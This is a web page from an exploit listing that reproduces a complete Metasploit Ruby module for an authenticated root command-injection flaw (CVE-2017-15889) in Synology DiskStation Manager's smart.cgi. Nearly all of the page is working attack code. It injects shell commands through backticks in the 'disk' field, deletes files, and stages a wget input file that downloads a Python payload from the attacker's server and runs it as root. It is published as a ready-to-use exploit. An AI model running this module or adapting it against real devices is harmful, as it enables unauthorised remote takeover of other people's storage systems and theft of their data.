Synology DiskStation Manager smart.cgi Remote Command Execution

2020.05.23
Credit: h00die
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::FileDropper DEVICE_INFO_PATTERN = /major=(?<major>\d+)&minor=(?<minor>\d+)&build=(?<build>\d+) &junior=\d+&unique=synology_\w+_(?<model>[^&]+)/x.freeze def initialize(info = {}) super( update_info( info, 'Name' => 'Synology DiskStation Manager smart.cgi Remote Command Execution', 'Description' => %q{ This module exploits a vulnerability found in Synology DiskStation Manager (DSM) versions < 5.2-5967-5, which allows the execution of arbitrary commands under root privileges after website authentication. The vulnerability is located in webman/modules/StorageManager/smart.cgi, which allows appending of a command to the device to be scanned. However, the command with drive is limited to 30 characters. A somewhat valid drive name is required, thus /dev/sd is used, even though it doesn't exist. To circumvent the character restriction, a wget input file is staged in /a, and executed to download our payload to /b. From there the payload is executed. A wfsdelay is required to give time for the payload to download, and the execution of it to run. }, 'Author' => [ 'Nigusu Kassahun', # Discovery 'h00die' # metasploit module ], 'References' => [ [ 'CVE', '2017-15889' ], [ 'EDB', '43190' ], [ 'URL', 'https://ssd-disclosure.com/ssd-advisory-synology-storagemanager-smart-cgi-remote-command-execution/' ], [ 'URL', 'https://synology.com/en-global/security/advisory/Synology_SA_17_65_DSM' ] ], 'Privileged' => true, 'Stance' => Msf::Exploit::Stance::Aggressive, 'Platform' => ['python'], 'Arch' => [ARCH_PYTHON], 'Targets' => [ ['Automatic', {}] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'PrependMigrate' => true, 'WfsDelay' => 10 }, 'License' => MSF_LICENSE, 'DisclosureDate' => 'Nov 08 2017' ) ) register_options( [ Opt::RPORT(5000), OptString.new('TARGETURI', [true, 'The URI of the Synology Website', '/']), OptString.new('USERNAME', [true, 'The Username for Synology', 'admin']), OptString.new('PASSWORD', [true, 'The Password for Synology', '']) ] ) register_advanced_options [ OptBool.new('ForceExploit', [false, 'Override check result', false]) ] end def check vprint_status('Trying to detect installed version') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'webman', 'info.cgi'), 'vars_get' => { 'host' => '' } }) if res && (res.code == 200) && res.body =~ DEVICE_INFO_PATTERN version = "#{$LAST_MATCH_INFO[:major]}.#{$LAST_MATCH_INFO[:minor]}" build = $LAST_MATCH_INFO[:build] model = $LAST_MATCH_INFO[:model].sub(/^[a-z]+/) { |s| s[0].upcase } model = "DS#{model}" unless model =~ /^[A-Z]/ else vprint_error('Detection failed') return CheckCode::Unknown end vprint_status("Model #{model} with version #{version}-#{build} detected") case version when '3.0', '4.0', '4.1', '4.2', '4.3', '5.0', '5.1' return CheckCode::Appears when '5.2' return CheckCode::Appears if build < '5967-5' end CheckCode::Safe end def on_request_uri(cli, _request, cookie, token) print_good('HTTP Server request received, sending payload') send_response(cli, payload.encoded) print_status('Executing payload') inject_request(cookie, token, 'python b') end def inject_request(cookie, token, cmd = '') send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'webman', 'modules', 'StorageManager', 'smart.cgi'), 'cookie' => cookie, 'headers' => { 'X-SYNO-TOKEN' => token }, 'vars_post' => { 'action' => 'apply', 'operation' => 'quick', 'disk' => "/dev/sd`#{cmd}`" } }) end def login # If you try to debug login through the browser, you'll see that desktop.js calls # ux-all.js to do an RSA encrypted login. # Wowever in a stroke of luck Mrs. h00die caused # a power sag while tracing/debugging the loging, causing the NAS to power off. # when that happened, it failed to get the crypto vars, and defaulted to a # non-encrypted login, which seems to work just fine. greetz Mrs. h00die! res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'webman', 'login.cgi'), 'vars_get' => { 'enable_syno_token' => 'yes' }, 'vars_post' => { 'username' => datastore['USERNAME'], 'passwd' => datastore['PASSWORD'], 'OTPcode' => '', '__cIpHeRtExT' => '', 'client_time' => Time.now.to_i, 'isIframeLogin' => 'yes' } }) if res && %r{<div id='synology'>(?<json>.*)</div>}m =~ res.body result = JSON.parse(json) fail_with(Failure::BadConfig, 'Incorrect Username/Password') if result['result'] == 'error' if result['result'] == 'success' return res.get_cookies, result['SynoToken'] end fail_with(Failure::Unknown, "Unknown response: #{result}") end end def exploit unless check == CheckCode::Appears unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end if datastore['SRVHOST'] == '0.0.0.0' fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') end begin print_status('Attempting Login') cookie, token = login start_service({ 'Uri' => { 'Proc' => proc do |cli, req| on_request_uri(cli, req, cookie, token) end, 'Path' => '/' } }) print_status('Cleaning env') inject_request(cookie, token, cmd = 'rm -rf /a') inject_request(cookie, token, cmd = 'rm -rf b') command = "#{datastore['SRVHOST']}:#{datastore['SRVPORT']}".split(//) command_space = 22 - "echo -n ''>>/a".length command_space -= 1 command.each_slice(command_space) do |a| a = a.join('') vprint_status("Staging wget with: echo -n '#{a}'>>/a") inject_request(cookie, token, cmd = "echo -n '#{a}'>>/a") end print_status('Requesting payload pull') register_file_for_cleanup('/usr/syno/synoman/webman/modules/StorageManager/b') register_file_for_cleanup('/a') inject_request(cookie, token, cmd = 'wget -i /a -O b') # at this point we let the HTTP server call the last stage # wfsdelay should be long enough to hold out for everything to download and run rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top